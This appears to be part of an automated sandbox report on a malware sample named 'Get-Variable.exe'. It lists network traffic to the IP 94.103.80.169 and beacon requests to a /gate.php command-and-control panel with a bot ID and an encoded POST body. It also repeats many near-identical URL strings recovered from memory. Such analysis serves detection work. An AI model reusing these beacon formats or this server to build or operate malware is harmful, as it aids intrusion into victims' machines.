Source: unknown	TCP traffic detected without corresponding DNS query: 94.103.80.169
Source: unknown	TCP traffic detected without corresponding DNS query: 94.103.80.169
Source: unknown	TCP traffic detected without corresponding DNS query: 94.103.80.169
Source: unknown	TCP traffic detected without corresponding DNS query: 94.103.80.169
Source: unknown	TCP traffic detected without corresponding DNS query: 94.103.80.169
Source: unknown	TCP traffic detected without corresponding DNS query: 94.103.80.169
Source: unknown	TCP traffic detected without corresponding DNS query: 94.103.80.169
Source: unknown	TCP traffic detected without corresponding DNS query: 94.103.80.169
Source: unknown	TCP traffic detected without corresponding DNS query: 94.103.80.169
Source: unknown	TCP traffic detected without corresponding DNS query: 94.103.80.169
Source: unknown	TCP traffic detected without corresponding DNS query: 94.103.80.169
Source: unknown	TCP traffic detected without corresponding DNS query: 94.103.80.169
Source: unknown	TCP traffic detected without corresponding DNS query: 94.103.80.169
Source: unknown	TCP traffic detected without corresponding DNS query: 94.103.80.169
Source: unknown	TCP traffic detected without corresponding DNS query: 94.103.80.169
Source: unknown	TCP traffic detected without corresponding DNS query: 94.103.80.169
Source: unknown	TCP traffic detected without corresponding DNS query: 94.103.80.169
Source: unknown	TCP traffic detected without corresponding DNS query: 94.103.80.169
Source: unknown	TCP traffic detected without corresponding DNS query: 94.103.80.169
Source: unknown	TCP traffic detected without corresponding DNS query: 94.103.80.169
Source: unknown	TCP traffic detected without corresponding DNS query: 94.103.80.169
Source: unknown	TCP traffic detected without corresponding DNS query: 94.103.80.169
Source: unknown	TCP traffic detected without corresponding DNS query: 94.103.80.169
Source: unknown	TCP traffic detected without corresponding DNS query: 94.103.80.169
Source: unknown	TCP traffic detected without corresponding DNS query: 94.103.80.169
Source: unknown	TCP traffic detected without corresponding DNS query: 94.103.80.169
Source: unknown	TCP traffic detected without corresponding DNS query: 94.103.80.169
Source: unknown	TCP traffic detected without corresponding DNS query: 94.103.80.169
Source: unknown	TCP traffic detected without corresponding DNS query: 94.103.80.169
Source: unknown	TCP traffic detected without corresponding DNS query: 94.103.80.169
Source: unknown	TCP traffic detected without corresponding DNS query: 94.103.80.169
Source: unknown	TCP traffic detected without corresponding DNS query: 94.103.80.169
Source: unknown	TCP traffic detected without corresponding DNS query: 94.103.80.169
Source: unknown	TCP traffic detected without corresponding DNS query: 94.103.80.169
Source: unknown	TCP traffic detected without corresponding DNS query: 94.103.80.169
Source: unknown	TCP traffic detected without corresponding DNS query: 94.103.80.169
Source: unknown	TCP traffic detected without corresponding DNS query: 94.103.80.169
Source: unknown	TCP traffic detected without corresponding DNS query: 94.103.80.169
Source: unknown	TCP traffic detected without corresponding DNS query: 94.103.80.169
Source: unknown	TCP traffic detected without corresponding DNS query: 94.103.80.169
Source: unknown	TCP traffic detected without corresponding DNS query: 94.103.80.169
Source: unknown	TCP traffic detected without corresponding DNS query: 94.103.80.169
Source: unknown	TCP traffic detected without corresponding DNS query: 94.103.80.169
Source: unknown	TCP traffic detected without corresponding DNS query: 94.103.80.169
Source: unknown	TCP traffic detected without corresponding DNS query: 94.103.80.169
Source: unknown	TCP traffic detected without corresponding DNS query: 94.103.80.169
Source: unknown	TCP traffic detected without corresponding DNS query: 94.103.80.169
Source: unknown	TCP traffic detected without corresponding DNS query: 94.103.80.169

Source: global traffic	HTTP traffic detected: GET /gate.php?type=check&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169
Source: global traffic	HTTP traffic detected: GET /gate.php?type=check&uid=7788F0C9B3493382528285 HTTP/1.1User-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169

Source: unknown

HTTP traffic detected: POST /gate.php?type=update&uid=7788F0C9B3493382528285 HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: dsfsdfdsfdsfd2sfdsfHost: 94.103.80.169Content-Length: 64Cache-Control: no-cacheData Raw: 53 31 50 46 62 48 64 64 71 4e 6b 47 4c 4d 34 63 73 75 37 6e 31 59 2f 4d 62 41 77 75 6d 6d 79 2b 68 67 34 51 35 2f 31 70 30 70 73 49 6e 57 6f 6b 74 47 33 64 37 65 6d 77 2b 65 4c 71 73 67 3d 3d Data Ascii: S1PFbHddqNkGLM4csu7n1Y/MbAwummy+hg4Q5/1p0psInWoktG3d7emw+eLqsg==

Source: Get-Variable.exe, 00000007.00000002.914123358.0000000004722000.00000004.00000001.sdmp	String found in binary or memory: http://94.103.80.169/gat
Source: Get-Variable.exe, 00000007.00000002.915072282.0000000004D64000.00000004.00000001.sdmp	String found in binary or memory: http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285
Source: Get-Variable.exe, 00000007.00000002.914672361.0000000004B03000.00000004.00000001.sdmp, Get-Variable.exe, 00000007.00000002.915072282.0000000004D64000.00000004.00000001.sdmp	String found in binary or memory: http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285#
Source: Get-Variable.exe, 00000007.00000002.916900361.0000000005106000.00000004.00000001.sdmp, Get-Variable.exe, 00000007.00000002.913979675.000000000466A000.00000004.00000001.sdmp	String found in binary or memory: http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285$
Source: Get-Variable.exe, 00000007.00000002.914356553.00000000048E0000.00000004.00000001.sdmp	String found in binary or memory: http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285$f
Source: Get-Variable.exe, 00000007.00000002.914672361.0000000004B03000.00000004.00000001.sdmp, Get-Variable.exe, 00000007.00000002.915640198.0000000004EEB000.00000004.00000001.sdmp	String found in binary or memory: http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285%
Source: Get-Variable.exe, 00000007.00000002.915072282.0000000004D64000.00000004.00000001.sdmp	String found in binary or memory: http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285%Z
Source: Get-Variable.exe, 00000007.00000002.914238928.0000000004800000.00000004.00000001.sdmp	String found in binary or memory: http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285&
Source: Get-Variable.exe, 00000007.00000002.911297784.0000000001A30000.00000004.00000020.sdmp	String found in binary or memory: http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285(
Source: Get-Variable.exe, 00000007.00000002.914672361.0000000004B03000.00000004.00000001.sdmp, Get-Variable.exe, 00000007.00000002.915640198.0000000004EEB000.00000004.00000001.sdmp	String found in binary or memory: http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285)
Source: Get-Variable.exe, 00000007.00000002.918122796.0000000005372000.00000004.00000001.sdmp	String found in binary or memory: http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285)L
Source: Get-Variable.exe, 00000007.00000002.915640198.0000000004EEB000.00000004.00000001.sdmp	String found in binary or memory: http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285)~
Source: Get-Variable.exe, 00000007.00000002.911297784.0000000001A30000.00000004.00000020.sdmp	String found in binary or memory: http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285-
Source: Get-Variable.exe, 00000007.00000002.918122796.0000000005372000.00000004.00000001.sdmp	String found in binary or memory: http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285-O
Source: Get-Variable.exe, 00000007.00000002.915072282.0000000004D64000.00000004.00000001.sdmp	String found in binary or memory: http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285-X
Source: Get-Variable.exe, 00000007.00000002.915640198.0000000004EEB000.00000004.00000001.sdmp	String found in binary or memory: http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285-q
Source: Get-Variable.exe, 00000007.00000002.915640198.0000000004EEB000.00000004.00000001.sdmp	String found in binary or memory: http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285-z
Source: Get-Variable.exe, 00000007.00000002.916900361.0000000005106000.00000004.00000001.sdmp, Get-Variable.exe, 00000007.00000002.913979675.000000000466A000.00000004.00000001.sdmp	String found in binary or memory: http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285.
Source: Get-Variable.exe, 00000007.00000002.914356553.00000000048E0000.00000004.00000001.sdmp	String found in binary or memory: http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285.f
Source: Get-Variable.exe, 00000007.00000002.914672361.0000000004B03000.00000004.00000001.sdmp, Get-Variable.exe, 00000007.00000002.915640198.0000000004EEB000.00000004.00000001.sdmp	String found in binary or memory: http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285/
Source: Get-Variable.exe, 00000007.00000002.918122796.0000000005372000.00000004.00000001.sdmp	String found in binary or memory: http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285/J
Source: Get-Variable.exe, 00000007.00000002.915072282.0000000004D64000.00000004.00000001.sdmp	String found in binary or memory: http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285/Z
Source: Get-Variable.exe, 00000007.00000002.916900361.0000000005106000.00000004.00000001.sdmp	String found in binary or memory: http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B34933825282850
Source: Get-Variable.exe, 00000007.00000002.914356553.00000000048E0000.00000004.00000001.sdmp	String found in binary or memory: http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B34933825282850f
Source: Get-Variable.exe, 00000007.00000002.914672361.0000000004B03000.00000004.00000001.sdmp, Get-Variable.exe, 00000007.00000002.915640198.0000000004EEB000.00000004.00000001.sdmp	String found in binary or memory: http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B34933825282851
Source: Get-Variable.exe, 00000007.00000002.915072282.0000000004D64000.00000004.00000001.sdmp	String found in binary or memory: http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B34933825282851Z
Source: Get-Variable.exe, 00000007.00000002.914238928.0000000004800000.00000004.00000001.sdmp	String found in binary or memory: http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B34933825282852
Source: Get-Variable.exe, 00000007.00000002.914672361.0000000004B03000.00000004.00000001.sdmp, Get-Variable.exe, 00000007.00000002.915640198.0000000004EEB000.00000004.00000001.sdmp	String found in binary or memory: http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B34933825282853
Source: Get-Variable.exe, 00000007.00000002.918122796.0000000005372000.00000004.00000001.sdmp	String found in binary or memory: http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B34933825282853L
Source: Get-Variable.exe, 00000007.00000002.915640198.0000000004EEB000.00000004.00000001.sdmp	String found in binary or memory: http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B34933825282853~
Source: Get-Variable.exe, 00000007.00000002.914238928.0000000004800000.00000004.00000001.sdmp	String found in binary or memory: http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B34933825282854
Source: Get-Variable.exe, 00000007.00000002.914672361.0000000004B03000.00000004.00000001.sdmp, Get-Variable.exe, 00000007.00000002.915072282.0000000004D64000.00000004.00000001.sdmp	String found in binary or memory: http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B34933825282855
Source: Get-Variable.exe, 00000007.00000002.916900361.0000000005106000.00000004.00000001.sdmp	String found in binary or memory: http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B34933825282856
Source: Get-Variable.exe, 00000007.00000002.911297784.0000000001A30000.00000004.00000020.sdmp	String found in binary or memory: http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B34933825282857
Source: Get-Variable.exe, 00000007.00000002.918122796.0000000005372000.00000004.00000001.sdmp	String found in binary or memory: http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B34933825282857O
Source: Get-Variable.exe, 00000007.00000002.915072282.0000000004D64000.00000004.00000001.sdmp	String found in binary or memory: http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B34933825282857X
Source: Get-Variable.exe, 00000007.00000002.915640198.0000000004EEB000.00000004.00000001.sdmp	String found in binary or memory: http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B34933825282857q
Source: Get-Variable.exe, 00000007.00000002.915640198.0000000004EEB000.00000004.00000001.sdmp	String found in binary or memory: http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B34933825282857z
Source: Get-Variable.exe, 00000007.00000002.916900361.0000000005106000.00000004.00000001.sdmp	String found in binary or memory: http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B34933825282858
Source: Get-Variable.exe, 00000007.00000002.911297784.0000000001A30000.00000004.00000020.sdmp	String found in binary or memory: http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B34933825282859
Source: Get-Variable.exe, 00000007.00000002.918122796.0000000005372000.00000004.00000001.sdmp	String found in binary or memory: http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B34933825282859O
Source: Get-Variable.exe, 00000007.00000002.915640198.0000000004EEB000.00000004.00000001.sdmp	String found in binary or memory: http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B34933825282859q
Source: Get-Variable.exe, 00000007.00000002.915640198.0000000004EEB000.00000004.00000001.sdmp	String found in binary or memory: http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B34933825282859z
Source: Get-Variable.exe, 00000007.00000002.916900361.0000000005106000.00000004.00000001.sdmp	String found in binary or memory: http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285:
Source: Get-Variable.exe, 00000007.00000002.914356553.00000000048E0000.00000004.00000001.sdmp	String found in binary or memory: http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285:f
Source: Get-Variable.exe, 00000007.00000002.914672361.0000000004B03000.00000004.00000001.sdmp, Get-Variable.exe, 00000007.00000002.915640198.0000000004EEB000.00000004.00000001.sdmp	String found in binary or memory: http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285;
Source: Get-Variable.exe, 00000007.00000002.915072282.0000000004D64000.00000004.00000001.sdmp	String found in binary or memory: http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285;Z
Source: Get-Variable.exe, 00000007.00000002.911297784.0000000001A30000.00000004.00000020.sdmp, Get-Variable.exe, 00000007.00000002.915640198.0000000004EEB000.00000004.00000001.sdmp, Get-Variable.exe, 00000007.00000002.915072282.0000000004D64000.00000004.00000001.sdmp	String found in binary or memory: http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285=
Source: Get-Variable.exe, 00000007.00000002.915640198.0000000004EEB000.00000004.00000001.sdmp	String found in binary or memory: http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285=p
Source: Get-Variable.exe, 00000007.00000002.914672361.0000000004B03000.00000004.00000001.sdmp, Get-Variable.exe, 00000007.00000002.915072282.0000000004D64000.00000004.00000001.sdmp	String found in binary or memory: http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285?
Source: Get-Variable.exe, 00000007.00000002.911297784.0000000001A30000.00000004.00000020.sdmp	String found in binary or memory: http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285A
Source: Get-Variable.exe, 00000007.00000002.918122796.0000000005372000.00000004.00000001.sdmp	String found in binary or memory: http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285AO
Source: Get-Variable.exe, 00000007.00000002.915072282.0000000004D64000.00000004.00000001.sdmp	String found in binary or memory: http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285AX
Source: Get-Variable.exe, 00000007.00000002.915640198.0000000004EEB000.00000004.00000001.sdmp	String found in binary or memory: http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285Aq
Source: Get-Variable.exe, 00000007.00000002.915640198.0000000004EEB000.00000004.00000001.sdmp	String found in binary or memory: http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285Az
Source: Get-Variable.exe, 00000007.00000002.916900361.0000000005106000.00000004.00000001.sdmp, Get-Variable.exe, 00000007.00000002.913979675.000000000466A000.00000004.00000001.sdmp	String found in binary or memory: http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285B
Source: Get-Variable.exe, 00000007.00000002.914356553.00000000048E0000.00000004.00000001.sdmp	String found in binary or memory: http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285Bf
Source: Get-Variable.exe, 00000007.00000002.914672361.0000000004B03000.00000004.00000001.sdmp, Get-Variable.exe, 00000007.00000002.915640198.0000000004EEB000.00000004.00000001.sdmp	String found in binary or memory: http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285C
Source: Get-Variable.exe, 00000007.00000002.915072282.0000000004D64000.00000004.00000001.sdmp	String found in binary or memory: http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285CZ
Source: Get-Variable.exe, 00000007.00000002.916900361.0000000005106000.00000004.00000001.sdmp	String found in binary or memory: http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285D
Source: Get-Variable.exe, 00000007.00000002.914356553.00000000048E0000.00000004.00000001.sdmp	String found in binary or memory: http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285Dg
Source: Get-Variable.exe, 00000007.00000002.914672361.0000000004B03000.00000004.00000001.sdmp, Get-Variable.exe, 00000007.00000002.915640198.0000000004EEB000.00000004.00000001.sdmp, Get-Variable.exe, 00000007.00000002.915072282.0000000004D64000.00000004.00000001.sdmp	String found in binary or memory: http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285E
Source: Get-Variable.exe, 00000007.00000002.915640198.0000000004EEB000.00000004.00000001.sdmp	String found in binary or memory: http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285Ep
Source: Get-Variable.exe, 00000007.00000002.914238928.0000000004800000.00000004.00000001.sdmp, Get-Variable.exe, 00000007.00000002.913979675.000000000466A000.00000004.00000001.sdmp	String found in binary or memory: http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285F
Source: Get-Variable.exe, 00000007.00000002.914672361.0000000004B03000.00000004.00000001.sdmp, Get-Variable.exe, 00000007.00000002.915072282.0000000004D64000.00000004.00000001.sdmp	String found in binary or memory: http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285G
Source: Get-Variable.exe, 00000007.00000002.918122796.0000000005372000.00000004.00000001.sdmp	String found in binary or memory: http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285GM
Source: Get-Variable.exe, 00000007.00000002.914238928.0000000004800000.00000004.00000001.sdmp, Get-Variable.exe, 00000007.00000002.913979675.000000000466A000.00000004.00000001.sdmp	String found in binary or memory: http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285H
Source: Get-Variable.exe, 00000007.00000002.914672361.0000000004B03000.00000004.00000001.sdmp, Get-Variable.exe, 00000007.00000002.915072282.0000000004D64000.00000004.00000001.sdmp	String found in binary or memory: http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285I
Source: Get-Variable.exe, 00000007.00000002.918122796.0000000005372000.00000004.00000001.sdmp	String found in binary or memory: http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285IM
Source: Get-Variable.exe, 00000007.00000002.916900361.0000000005106000.00000004.00000001.sdmp	String found in binary or memory: http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285J
Source: Get-Variable.exe, 00000007.00000002.911297784.0000000001A30000.00000004.00000020.sdmp	String found in binary or memory: http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285K
Source: Get-Variable.exe, 00000007.00000002.918122796.0000000005372000.00000004.00000001.sdmp	String found in binary or memory: http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285KO
Source: Get-Variable.exe, 00000007.00000002.915072282.0000000004D64000.00000004.00000001.sdmp	String found in binary or memory: http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285KX
Source: Get-Variable.exe, 00000007.00000002.915640198.0000000004EEB000.00000004.00000001.sdmp	String found in binary or memory: http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285Kq
Source: Get-Variable.exe, 00000007.00000002.915640198.0000000004EEB000.00000004.00000001.sdmp	String found in binary or memory: http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285Kz
Source: Get-Variable.exe, 00000007.00000002.914238928.0000000004800000.00000004.00000001.sdmp	String found in binary or memory: http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285L
Source: Get-Variable.exe, 00000007.00000002.914672361.0000000004B03000.00000004.00000001.sdmp, Get-Variable.exe, 00000007.00000002.915640198.0000000004EEB000.00000004.00000001.sdmp	String found in binary or memory: http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285M
Source: Get-Variable.exe, 00000007.00000002.918122796.0000000005372000.00000004.00000001.sdmp	String found in binary or memory: http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285ML
Source: Get-Variable.exe, 00000007.00000002.915640198.0000000004EEB000.00000004.00000001.sdmp	String found in binary or memory: http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285M~
Source: Get-Variable.exe, 00000007.00000002.916900361.0000000005106000.00000004.00000001.sdmp	String found in binary or memory: http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285N
Source: Get-Variable.exe, 00000007.00000002.914356553.00000000048E0000.00000004.00000001.sdmp	String found in binary or memory: http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285Ng
Source: Get-Variable.exe, 00000007.00000002.914672361.0000000004B03000.00000004.00000001.sdmp, Get-Variable.exe, 00000007.00000002.915640198.0000000004EEB000.00000004.00000001.sdmp, Get-Variable.exe, 00000007.00000002.915072282.0000000004D64000.00000004.00000001.sdmp	String found in binary or memory: http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285O
Source: Get-Variable.exe, 00000007.00000002.915640198.0000000004EEB000.00000004.00000001.sdmp	String found in binary or memory: http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285Op
Source: Get-Variable.exe, 00000007.00000002.916900361.0000000005106000.00000004.00000001.sdmp	String found in binary or memory: http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285P
Source: Get-Variable.exe, 00000007.00000002.914356553.00000000048E0000.00000004.00000001.sdmp	String found in binary or memory: http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285Pg
Source: Get-Variable.exe, 00000007.00000002.914672361.0000000004B03000.00000004.00000001.sdmp, Get-Variable.exe, 00000007.00000002.915640198.0000000004EEB000.00000004.00000001.sdmp, Get-Variable.exe, 00000007.00000002.915072282.0000000004D64000.00000004.00000001.sdmp	String found in binary or memory: http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285Q
Source: Get-Variable.exe, 00000007.00000002.915640198.0000000004EEB000.00000004.00000001.sdmp	String found in binary or memory: http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285Qp
Source: Get-Variable.exe, 00000007.00000002.914238928.0000000004800000.00000004.00000001.sdmp, Get-Variable.exe, 00000007.00000002.913979675.000000000466A000.00000004.00000001.sdmp	String found in binary or memory: http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285R
Source: Get-Variable.exe, 00000007.00000002.914672361.0000000004B03000.00000004.00000001.sdmp, Get-Variable.exe, 00000007.00000002.915072282.0000000004D64000.00000004.00000001.sdmp	String found in binary or memory: http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285S
Source: Get-Variable.exe, 00000007.00000002.918122796.0000000005372000.00000004.00000001.sdmp	String found in binary or memory: http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285SM
Source: Get-Variable.exe, 00000007.00000002.916900361.0000000005106000.00000004.00000001.sdmp, Get-Variable.exe, 00000007.00000002.913979675.000000000466A000.00000004.00000001.sdmp	String found in binary or memory: http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285T
Source: Get-Variable.exe, 00000007.00000002.914356553.00000000048E0000.00000004.00000001.sdmp	String found in binary or memory: http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285Tf
Source: Get-Variable.exe, 00000007.00000002.914672361.0000000004B03000.00000004.00000001.sdmp, Get-Variable.exe, 00000007.00000002.915640198.0000000004EEB000.00000004.00000001.sdmp	String found in binary or memory: http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285U
Source: Get-Variable.exe, 00000007.00000002.915072282.0000000004D64000.00000004.00000001.sdmp	String found in binary or memory: http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285UZ
Source: Get-Variable.exe, 00000007.00000002.914238928.0000000004800000.00000004.00000001.sdmp	String found in binary or memory: http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285V
Source: Get-Variable.exe, 00000007.00000002.914672361.0000000004B03000.00000004.00000001.sdmp, Get-Variable.exe, 00000007.00000002.915640198.0000000004EEB000.00000004.00000001.sdmp	String found in binary or memory: http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285W
Source: Get-Variable.exe, 00000007.00000002.918122796.0000000005372000.00000004.00000001.sdmp	String found in binary or memory: http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285WL
Source: Get-Variable.exe, 00000007.00000002.915640198.0000000004EEB000.00000004.00000001.sdmp	String found in binary or memory: http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285W~
Source: Get-Variable.exe, 00000007.00000002.914238928.0000000004800000.00000004.00000001.sdmp	String found in binary or memory: http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285X
Source: Get-Variable.exe, 00000007.00000002.914672361.0000000004B03000.00000004.00000001.sdmp, Get-Variable.exe, 00000007.00000002.915640198.0000000004EEB000.00000004.00000001.sdmp	String found in binary or memory: http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285Y
Source: Get-Variable.exe, 00000007.00000002.918122796.0000000005372000.00000004.00000001.sdmp	String found in binary or memory: http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285YL
Source: Get-Variable.exe, 00000007.00000002.915640198.0000000004EEB000.00000004.00000001.sdmp	String found in binary or memory: http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285Y~
Source: Get-Variable.exe, 00000007.00000002.916900361.0000000005106000.00000004.00000001.sdmp	String found in binary or memory: http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285Z
Source: Get-Variable.exe, 00000007.00000002.914356553.00000000048E0000.00000004.00000001.sdmp	String found in binary or memory: http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285Zg
Source: Get-Variable.exe, 00000007.00000002.914672361.0000000004B03000.00000004.00000001.sdmp, Get-Variable.exe, 00000007.00000002.915640198.0000000004EEB000.00000004.00000001.sdmp	String found in binary or memory: http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285_
Source: Get-Variable.exe, 00000007.00000002.915072282.0000000004D64000.00000004.00000001.sdmp	String found in binary or memory: http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285_Z
Source: Get-Variable.exe, 00000007.00000002.914672361.0000000004B03000.00000004.00000001.sdmp, Get-Variable.exe, 00000007.00000002.915640198.0000000004EEB000.00000004.00000001.sdmp	String found in binary or memory: http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285a
Source: Get-Variable.exe, 00000007.00000002.915072282.0000000004D64000.00000004.00000001.sdmp	String found in binary or memory: http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285aZ
Source: Get-Variable.exe, 00000007.00000002.914238928.0000000004800000.00000004.00000001.sdmp	String found in binary or memory: http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285b
Source: Get-Variable.exe, 00000007.00000002.914672361.0000000004B03000.00000004.00000001.sdmp, Get-Variable.exe, 00000007.00000002.915640198.0000000004EEB000.00000004.00000001.sdmp	String found in binary or memory: http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285c
Source: Get-Variable.exe, 00000007.00000002.915640198.0000000004EEB000.00000004.00000001.sdmp	String found in binary or memory: http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285c~
Source: Get-Variable.exe, 00000007.00000002.914238928.0000000004800000.00000004.00000001.sdmp	String found in binary or memory: http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285d
Source: Get-Variable.exe, 00000007.00000002.914672361.0000000004B03000.00000004.00000001.sdmp, Get-Variable.exe, 00000007.00000002.915072282.0000000004D64000.00000004.00000001.sdmp	String found in binary or memory: http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285e
Source: Get-Variable.exe, 00000007.00000002.918122796.0000000005372000.00000004.00000001.sdmp	String found in binary or memory: http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285eM
Source: Get-Variable.exe, 00000007.00000002.916900361.0000000005106000.00000004.00000001.sdmp	String found in binary or memory: http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285f
Source: Get-Variable.exe, 00000007.00000002.911297784.0000000001A30000.00000004.00000020.sdmp	String found in binary or memory: http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285g
Source: Get-Variable.exe, 00000007.00000002.918122796.0000000005372000.00000004.00000001.sdmp	String found in binary or memory: http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285gO
Source: Get-Variable.exe, 00000007.00000002.915072282.0000000004D64000.00000004.00000001.sdmp	String found in binary or memory: http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285gX
Source: Get-Variable.exe, 00000007.00000002.915640198.0000000004EEB000.00000004.00000001.sdmp	String found in binary or memory: http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285gq
Source: Get-Variable.exe, 00000007.00000002.915640198.0000000004EEB000.00000004.00000001.sdmp	String found in binary or memory: http://94.103.80.169/gate.php?type=ping&uid=7788F0C9B3493382528285gz
